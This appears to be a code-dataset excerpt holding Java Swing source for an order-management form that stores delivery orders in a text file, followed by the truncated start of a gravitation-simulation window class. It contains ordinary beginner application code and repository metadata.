.addComponent(txtWeight, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(55, 55, 55)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel3)
.addComponent(jLabel6)
.addComponent(jLabel8))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(txtCAddr, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
.addGap(54, 54, 54)
.addComponent(btnUpdate)
.addGap(60, 60, 60)
.addComponent(btnDelete)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(btnClear)
.addGap(58, 58, 58))))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 800, Short.MAX_VALUE))
.addGap(0, 0, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(txtOID, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(15, 15, 15)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel5)
.addComponent(jLabel6)
.addComponent(txtCContact, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCAddr, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(15, 15, 15)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel4)
.addComponent(txtWeight, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel8)
.addComponent(txtCost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(43, 43, 43)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(btnAdd)
.addComponent(btnUpdate)
.addComponent(btnDelete)
.addComponent(btnClear))
.addGap(49, 49, 49)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void btnAddActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnAddActionPerformed
DatabaseDao dd = new DatabaseDaoImpl();
try {
dataList = dd.getDataFromFile("OrderDetails.txt");
} catch (Exception ex) {
JOptionPane.showMessageDialog(null, ex);
}
Order od = new Order();
if (valid()) {
od.setOID(txtOID.getText());
od.setCName(txtCName.getText());
od.setCContact(txtCContact.getText());
od.setCAddr(txtCAddr.getText());
od.setWeight(txtWeight.getText());
od.setCost(txtCost.getText());
ArrayList<String> list = dataList;
list.add(od.getOID() + "," + od.getCName() + "," + od.getCContact() + "," + od.getCAddr() + "," + od.getWeight() + "," + od.getCost());
dd.writeToFile("OrderDetails.txt", list);
JOptionPane.showMessageDialog(rootPane, "Sucess");
loadDataToTable();
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
}
}//GEN-LAST:event_btnAddActionPerformed
private void btnUpdateActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnUpdateActionPerformed
boolean found = false;
Order od = new Order();
DatabaseDao dd = new DatabaseDaoImpl();
if (txtOID.getText() == null || txtOID.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Please Select from the table to update record");
} else {
od.setOID(txtOID.getText());
od.setCName(txtCName.getText());
od.setCContact(txtCContact.getText());
od.setCAddr(txtCAddr.getText());
od.setWeight(txtWeight.getText());
od.setCost(txtCost.getText());
for (int i = 0; i < dataList.size(); i++) {
String[] storedData;
ArrayList<String> list = dataList;
storedData = list.get(i).split(",");
if (txtOID.getText().equals(storedData[0])) {
list.set(i, od.getOID() + "," + od.getCName() + "," + od.getCContact() + "," + od.getCAddr() + "," + od.getWeight() + "," + od.getCost());
dd.writeToFile("OrderDetails.txt", list);
found = true;
break;
}
}
if (found) {
JOptionPane.showMessageDialog(this, "Updated Sucessfully");
loadDataToTable();
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
} else {
JOptionPane.showMessageDialog(this, "Sorry file not Updated");
}
}
}//GEN-LAST:event_btnUpdateActionPerformed
private void btnDeleteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnDeleteActionPerformed
boolean found = false;
DatabaseDao dd = new DatabaseDaoImpl();
for (int i = 0; i < dataList.size(); i++) {
String[] storedData;
ArrayList<String> list = dataList;
storedData = list.get(i).split(",");
if (txtOID.getText().equals(storedData[0])) {
found = true;
list.remove(i);
dd.writeToFile("OrderDetails.txt", list);
break;
}
}
if (found) {
JOptionPane.showMessageDialog(this, "Deleted Sucessfully");
loadDataToTable();
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
} else {
JOptionPane.showMessageDialog(this, "Sorry file not deleted");
}
}//GEN-LAST:event_btnDeleteActionPerformed
private void btnClearActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnClearActionPerformed
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
}//GEN-LAST:event_btnClearActionPerformed
private void jTable1MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTable1MouseClicked
int row = jTable1.getSelectedRow();
if (row < 0) {
JOptionPane.showMessageDialog(this, "Sorry No Data Selected");
} else {
String id = (jTable1.getModel().getValueAt(row, 0).toString());
for (int i = 0; i < dataList.size(); i++) {
String[] storedData = dataList.get(i).split(",");
if (id.equals(storedData[0])) {
txtOID.setText(storedData[0]);
txtCName.setText(storedData[1]);
txtCContact.setText(storedData[2]);
txtCAddr.setText(storedData[3]);
txtWeight.setText(storedData[4]);
txtCost.setText(storedData[5]);
}
}
}
}//GEN-LAST:event_jTable1MouseClicked
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton btnAdd;
private javax.swing.JButton btnClear;
private javax.swing.JButton btnDelete;
private javax.swing.JButton btnUpdate;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel8;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JTextField txtCAddr;
private javax.swing.JTextField txtCContact;
private javax.swing.JTextField txtCName;
private javax.swing.JTextField txtCost;
private javax.swing.JTextField txtOID;
private javax.swing.JTextField txtWeight;
// End of variables declaration//GEN-END:variables
}
| UTF-8 | Java | 22,339 | java | IntFrmOrder.java | Java | [] | null | [] | package form;
import bll.Order;
import dao.DatabaseDao;
import dao.DatabaseDaoImpl;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import javax.swing.JOptionPane;
import javax.swing.plaf.basic.BasicInternalFrameUI;
import javax.swing.table.DefaultTableModel;
public class IntFrmOrder extends javax.swing.JInternalFrame {
/**
* Creates new form IntFrmOrder
*/
private ArrayList<String> dataList;
public IntFrmOrder() {
initComponents();
this.setBorder(javax.swing.BorderFactory.createEmptyBorder(0, 0, 0, 0));
BasicInternalFrameUI bi = (BasicInternalFrameUI) this.getUI();
bi.setNorthPane(null);
DatabaseDao dd = new DatabaseDaoImpl();
loadDataToTable();
try {
dataList = dd.getDataFromFile("OrderDetails.txt");
} catch (Exception ex) {
JOptionPane.showMessageDialog(null, ex);
}
}
public void loadDataToTable() {
DatabaseDao dd = new DatabaseDaoImpl();
DefaultTableModel defaultTableModel = new DefaultTableModel(new String[]{"Order Id", "Customer Name", "Customer Contact", "Customer Address", "Weight", "Cost"}, 0);
try {
dataList = dd.getDataFromFile("OrderDetails.txt");
Object[] tableLines;
tableLines = dataList.toArray();
for (int i = 0; i < tableLines.length; i++) {
String lines = tableLines[i].toString();
String[] row = lines.split(",");
defaultTableModel.addRow(row);
}
} catch (IOException ex) {
JOptionPane.showMessageDialog(null, ex);
}
jTable1.setModel(defaultTableModel);
}
private boolean valid() {
String filePath = "OrderDetails.txt";
File file = new File(filePath);
try {
BufferedReader br = new BufferedReader(new FileReader(file));
Object[] tableLines = br.lines().toArray();
for (int i = 0; i < tableLines.length; i++) {
String lines = tableLines[i].toString().trim();
String[] dataRow = lines.split(",");
if (txtOID.getText().equals(dataRow[0])) {
JOptionPane.showMessageDialog(this, "Order Id should be unique");
return false;
}
}
} catch (Exception ex) {
JOptionPane.showMessageDialog(null, ex);
}
if (txtOID.getText() == null || txtOID.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Order Id is required");
return false;
} else if (txtCName.getText() == "" || txtCName.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Customer Name is required");
return false;
} else if (txtCContact.getText() == "" || txtCContact.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Customer Contact is required");
return false;
} else if (txtCAddr.getText() == "" || txtCAddr.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Customer Address is required");
return false;
} else if (txtWeight.getText() == "" || txtWeight.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Delivery Weight is required");
return false;
} else if (txtCost.getText() == "" || txtCost.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Delivery Cost is required");
return false;
}
return true;
}
/**
* This method is called from within the constructor to initialize the form.
* WARNING: Do NOT modify this code. The content of this method is always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
jPanel1 = new javax.swing.JPanel();
jLabel1 = new javax.swing.JLabel();
jLabel2 = new javax.swing.JLabel();
jLabel3 = new javax.swing.JLabel();
jLabel4 = new javax.swing.JLabel();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
txtOID = new javax.swing.JTextField();
txtCName = new javax.swing.JTextField();
txtCContact = new javax.swing.JTextField();
txtCAddr = new javax.swing.JTextField();
txtWeight = new javax.swing.JTextField();
jLabel8 = new javax.swing.JLabel();
txtCost = new javax.swing.JTextField();
btnAdd = new javax.swing.JButton();
btnUpdate = new javax.swing.JButton();
btnDelete = new javax.swing.JButton();
btnClear = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jTable1 = new javax.swing.JTable();
setPreferredSize(new java.awt.Dimension(800, 575));
jPanel1.setBackground(new java.awt.Color(255, 255, 255));
jPanel1.setPreferredSize(new java.awt.Dimension(800, 55));
jLabel1.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
jLabel1.setText("Order Management");
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(33, 33, 33)
.addComponent(jLabel1)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGap(19, 19, 19)
.addComponent(jLabel1)
.addContainerGap(19, Short.MAX_VALUE))
);
jLabel2.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel2.setText("Order Id");
jLabel3.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel3.setText("Customer Name");
jLabel4.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel4.setText("Weight");
jLabel5.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel5.setText("Customer Contact ");
jLabel6.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel6.setText("Customer Address");
txtOID.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtOID.setPreferredSize(new java.awt.Dimension(200, 25));
txtCName.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCName.setPreferredSize(new java.awt.Dimension(200, 25));
txtCContact.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCContact.setPreferredSize(new java.awt.Dimension(200, 25));
txtCAddr.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCAddr.setPreferredSize(new java.awt.Dimension(200, 25));
txtWeight.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtWeight.setPreferredSize(new java.awt.Dimension(200, 25));
jLabel8.setFont(new java.awt.Font("Roboto Black", 1, 14)); // NOI18N
jLabel8.setText("Total Cost");
txtCost.setFont(new java.awt.Font("Roboto", 0, 14)); // NOI18N
txtCost.setPreferredSize(new java.awt.Dimension(200, 25));
btnAdd.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnAdd.setText("Add");
btnAdd.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnAddActionPerformed(evt);
}
});
btnUpdate.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnUpdate.setText("Update");
btnUpdate.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnUpdateActionPerformed(evt);
}
});
btnDelete.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnDelete.setText("Delete");
btnDelete.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnDeleteActionPerformed(evt);
}
});
btnClear.setBackground(new java.awt.Color(255, 0, 51));
btnClear.setFont(new java.awt.Font("Tahoma", 0, 14)); // NOI18N
btnClear.setForeground(new java.awt.Color(255, 255, 255));
btnClear.setText("Clear");
btnClear.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
btnClearActionPerformed(evt);
}
});
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
{null, null, null, null},
{null, null, null, null},
{null, null, null, null},
{null, null, null, null}
},
new String [] {
"Title 1", "Title 2", "Title 3", "Title 4"
}
));
jTable1.addMouseListener(new java.awt.event.MouseAdapter() {
public void mouseClicked(java.awt.event.MouseEvent evt) {
jTable1MouseClicked(evt);
}
});
jScrollPane1.setViewportView(jTable1);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(btnAdd)
.addComponent(jLabel2)
.addComponent(jLabel4)
.addComponent(jLabel5))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(txtOID, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCContact, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtWeight, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(55, 55, 55)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
.addComponent(jLabel3)
.addComponent(jLabel6)
.addComponent(jLabel8))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(txtCAddr, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGroup(layout.createSequentialGroup()
.addGap(54, 54, 54)
.addComponent(btnUpdate)
.addGap(60, 60, 60)
.addComponent(btnDelete)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(btnClear)
.addGap(58, 58, 58))))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 800, Short.MAX_VALUE))
.addGap(0, 0, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(txtOID, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCName, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(15, 15, 15)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel5)
.addComponent(jLabel6)
.addComponent(txtCContact, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(txtCAddr, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(15, 15, 15)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel4)
.addComponent(txtWeight, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel8)
.addComponent(txtCost, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(43, 43, 43)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(btnAdd)
.addComponent(btnUpdate)
.addComponent(btnDelete)
.addComponent(btnClear))
.addGap(49, 49, 49)
.addComponent(jScrollPane1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void btnAddActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnAddActionPerformed
DatabaseDao dd = new DatabaseDaoImpl();
try {
dataList = dd.getDataFromFile("OrderDetails.txt");
} catch (Exception ex) {
JOptionPane.showMessageDialog(null, ex);
}
Order od = new Order();
if (valid()) {
od.setOID(txtOID.getText());
od.setCName(txtCName.getText());
od.setCContact(txtCContact.getText());
od.setCAddr(txtCAddr.getText());
od.setWeight(txtWeight.getText());
od.setCost(txtCost.getText());
ArrayList<String> list = dataList;
list.add(od.getOID() + "," + od.getCName() + "," + od.getCContact() + "," + od.getCAddr() + "," + od.getWeight() + "," + od.getCost());
dd.writeToFile("OrderDetails.txt", list);
JOptionPane.showMessageDialog(rootPane, "Sucess");
loadDataToTable();
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
}
}//GEN-LAST:event_btnAddActionPerformed
private void btnUpdateActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnUpdateActionPerformed
boolean found = false;
Order od = new Order();
DatabaseDao dd = new DatabaseDaoImpl();
if (txtOID.getText() == null || txtOID.getText().equals("")) {
JOptionPane.showMessageDialog(this, "Please Select from the table to update record");
} else {
od.setOID(txtOID.getText());
od.setCName(txtCName.getText());
od.setCContact(txtCContact.getText());
od.setCAddr(txtCAddr.getText());
od.setWeight(txtWeight.getText());
od.setCost(txtCost.getText());
for (int i = 0; i < dataList.size(); i++) {
String[] storedData;
ArrayList<String> list = dataList;
storedData = list.get(i).split(",");
if (txtOID.getText().equals(storedData[0])) {
list.set(i, od.getOID() + "," + od.getCName() + "," + od.getCContact() + "," + od.getCAddr() + "," + od.getWeight() + "," + od.getCost());
dd.writeToFile("OrderDetails.txt", list);
found = true;
break;
}
}
if (found) {
JOptionPane.showMessageDialog(this, "Updated Sucessfully");
loadDataToTable();
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
} else {
JOptionPane.showMessageDialog(this, "Sorry file not Updated");
}
}
}//GEN-LAST:event_btnUpdateActionPerformed
private void btnDeleteActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnDeleteActionPerformed
boolean found = false;
DatabaseDao dd = new DatabaseDaoImpl();
for (int i = 0; i < dataList.size(); i++) {
String[] storedData;
ArrayList<String> list = dataList;
storedData = list.get(i).split(",");
if (txtOID.getText().equals(storedData[0])) {
found = true;
list.remove(i);
dd.writeToFile("OrderDetails.txt", list);
break;
}
}
if (found) {
JOptionPane.showMessageDialog(this, "Deleted Sucessfully");
loadDataToTable();
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
} else {
JOptionPane.showMessageDialog(this, "Sorry file not deleted");
}
}//GEN-LAST:event_btnDeleteActionPerformed
private void btnClearActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_btnClearActionPerformed
txtOID.setText("");
txtCName.setText("");
txtCContact.setText("");
txtCAddr.setText("");
txtWeight.setText("");
txtCost.setText("");
}//GEN-LAST:event_btnClearActionPerformed
private void jTable1MouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTable1MouseClicked
int row = jTable1.getSelectedRow();
if (row < 0) {
JOptionPane.showMessageDialog(this, "Sorry No Data Selected");
} else {
String id = (jTable1.getModel().getValueAt(row, 0).toString());
for (int i = 0; i < dataList.size(); i++) {
String[] storedData = dataList.get(i).split(",");
if (id.equals(storedData[0])) {
txtOID.setText(storedData[0]);
txtCName.setText(storedData[1]);
txtCContact.setText(storedData[2]);
txtCAddr.setText(storedData[3]);
txtWeight.setText(storedData[4]);
txtCost.setText(storedData[5]);
}
}
}
}//GEN-LAST:event_jTable1MouseClicked
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JButton btnAdd;
private javax.swing.JButton btnClear;
private javax.swing.JButton btnDelete;
private javax.swing.JButton btnUpdate;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel5;
private javax.swing.JLabel jLabel6;
private javax.swing.JLabel jLabel8;
private javax.swing.JPanel jPanel1;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JTextField txtCAddr;
private javax.swing.JTextField txtCContact;
private javax.swing.JTextField txtCName;
private javax.swing.JTextField txtCost;
private javax.swing.JTextField txtOID;
private javax.swing.JTextField txtWeight;
// End of variables declaration//GEN-END:variables
}
| 22,339 | 0.600698 | 0.585836 | 503 | 43.41153 | 35.503754 | 172 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.902584 | false | false | 15 |
eafcb965595a031daa88aa1808899b06c63a47fa | 23,742,579,249,820 | eaa3a8cfee141853ff5dd00205e8fa3c2af76255 | /src/WinFrame.java | 56ad48ac9714b2da0afd43b17f493fb1dc27b29c | [] | no_license | alexfoglia1/Universal-Gravitation-Law | https://github.com/alexfoglia1/Universal-Gravitation-Law | a735c5ac2523c45d3ee34320b1c5813e980e2df4 | 1a6ebbdda96d4ee9561ec4c90ea5f57bf829ea0c | refs/heads/master | 2019-03-20T16:57:54.591000 | 2018-03-05T22:57:36 | 2018-03-05T22:57:36 | 123,989,660 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null | import java.awt.BorderLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.awt.event.MouseEvent;
import java.awt.event.MouseListener;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
public class WinFrame extends JFrame{
private JPanel NORTH,SOUTH;
private JButton btnCrea1,btnCrea2,start;
private Universe CENTER;
private int last;
public WinFrame(){
super("Universal Gravitation Law");
createWidgets();
createEvents();
adjustGraphics();
this.last=1;
}
private void adjustGraphics() {
setLocation(100,100);
pack();
setVisible(true);
setDefaultCloseOperation(WinFrame.EXIT_ON_CLOSE);
}
private void createEvents() {
addMouseListener(new MouseListener(){
@Override
public void mouseClicked(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseEntered(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseExited(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mousePressed(MouseEvent arg0) {
// TODO Auto-generated method stub
}
@Override
public void mouseReleased(MouseEvent arg0) {
if(last==1){
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b1=new Body(mass);
b1.x=arg0.getX();
b1.y=arg0.getY();
b1.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
CENTER.setBody1(b1);
last=2;
}
else{
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b1=new Body(mass);
b1.x=arg0.getX();
b1.y=arg0.getY();
b1.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
CENTER.setBody2(b1);
last=1;
}
}});
btnCrea1.addActionListener(new ActionListener(){
@Override
public void actionPerformed(ActionEvent arg0) {
last=1;
int x=10;
int y=10;
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
Body b1=new Body(mass);
b1.x=x;
b1.y=y;
b1.setRay(Integer.parseInt(JOptionPane.showInputDialog(null,"Insert ray")));
CENTER.setBody1(b1);
}
});
btnCrea2.addActionListener(new ActionListener(){
@Override
public void actionPerformed(ActionEvent arg0) {
last=2;
int x=CENTER.getWidth();
int y=CENTER.getHeight();
double mass=Double.parseDouble(JOptionPane.showInputDialog(null,"Insert mass"));
